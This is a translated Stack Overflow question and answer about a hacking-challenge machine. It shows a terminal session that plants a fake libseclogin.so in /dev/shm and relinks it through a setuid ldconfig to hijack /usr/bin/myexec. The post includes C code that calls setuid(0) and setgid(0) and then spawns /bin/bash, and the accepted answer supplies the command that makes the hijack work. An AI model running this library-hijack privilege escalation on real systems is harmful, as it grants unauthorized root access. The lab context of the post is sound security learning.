This question was migrated from Super User because it can be answered on Stack Overflow. Migrated26个月前。Learn more
我目前正在做一个关于黑客攻击的挑战,我正试图在一个练习机上获得一个现有的可执行文件来代替一个“脆弱”脚本中缺少的一个。
缺少的库是libseclogin.so。我在/dev/shm中创建了一个新文件,并尝试从中使用ldconfig手动链接新库,以便在运行myexec时将我放入shell。ldconfig设置了粘性位。
下面是我运行的命令。最后,您可以看到,当我再次运行ldd以检查库是否已重新链接到/dev/shm/libseclogin.so时,没有任何更改。
我在这个过程中遗漏了什么吗?

genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
    linux-vdso.so.1 =>  (0x00007ffdbc6d9000)
    libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14  2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
  setuid(0);
  ^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
  setgid(0);
  ^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
  system("/bin/bash");
  ^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
    linux-vdso.so.1 =>  (0x00007ffc5f7f0000)
    libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
    /lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$

这是我用来放入外壳的基本scipt。
#include <stdio.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

编译命令以创建共享库。
C

最佳答案

问题主要是由于我使用了ldconfig
一旦我在没有显式指定so文件的情况下运行它,这似乎就纠正了问题。
正确的命令…
ldconfig /dev/shm
而不是。。。
ldconfig /dev/shm/libseclogin.c
然后当我运行ldd myexec时,我得到了正确的输出。

genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
    linux-vdso.so.1 =>  (0x00007ffdbc6d9000)
    libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)

07-24 09:45